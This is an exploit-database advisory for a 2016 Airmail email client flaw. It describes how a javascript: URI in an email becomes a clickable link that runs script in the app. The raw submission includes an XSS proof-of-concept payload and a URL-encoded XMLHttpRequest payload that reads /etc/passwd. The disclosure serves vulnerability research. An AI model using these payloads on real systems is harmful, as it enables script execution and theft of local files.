Airmail File:// XSS and Arbitrary File Read

vendor:

Airmail

by:

redrain, yu.hong@chaitin.com

8,8

CVSS

HIGH

File:// XSS and Arbitrary File Read

CWE

Product Name: Airmail

Affected Version From: 3.0.2

Affected Version To: Earlier

Patch Exists: Yes

Related CWE: N/A

CPE: a:airmailapp:airmail

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: OS X and iOS

2016

Airmail File:// XSS and Arbitrary File Read

Airmail implements its user interface using an embedded version of WebKit, furthermore Airmail on OS X will render any URI as a clickable HTML <a href= link. An attacker can create a simple JavaScript URI (e.g., javascript:) which when clicked grants the attacker initial JavaScript execution (XSS) in the context of the application DOM. An attacker can also use a JavaScript URI to read arbitrary files from the local file system.

Mitigation:

The vendor has released a patch to address this vulnerability. Users should update to the latest version of Airmail.

Source

Exploit-DB raw data:

Airmail is a popular email client on iOS and OS X.
I found a vulnerability in airmail of the latest version which could cause
a file:// xss and arbitrary file read.

Author: redrain, yu.hong@chaitin.com
Date: 2016-08-15
Version: 3.0.2 and earlier
Platform: OS X and iOS
Site: http://airmailapp.com/
Vendor: http://airmailapp.com/
Vendor Notified: 2016-08-15

Vulnerability:
There is a file:// xss in airmail version 3.0.2 and earlier.
The app can deal the URLscheme render with link detection, any user can
edit the email content in reply with the evil code with the TL;DR.

Airmail implements its user interface using an embedded version of WebKit,
furthermore Airmail on OS X will render any URI as a clickable HTML <a
href= link. An attacker can create a simple JavaScript URI (e.g.,
javascript:) which when clicked grants the attacker initial JavaScript
execution (XSS) in the context of the application DOM.


PoC:
javascript://www.baidu.com/research?%0Aprompt(1)

a

Arbitrary file read:

javascript://www.baidu.com/research?%0Afunction%20reqListener%20()%20%7B%0A%
20%20prompt(this.responseText)%3B%0A%7D%0Avar%20oReq%20%3D%
20new%20XMLHttpRequest()%3B%0AoReq.addEventListener(%
22load%22%2C%20reqListener)%3B%0AoReq.open(%22GET%22%2C%
20%22file%3A%2F%2F%2Fetc%2Fpasswd%22)%3B%0AoReq.send()%3B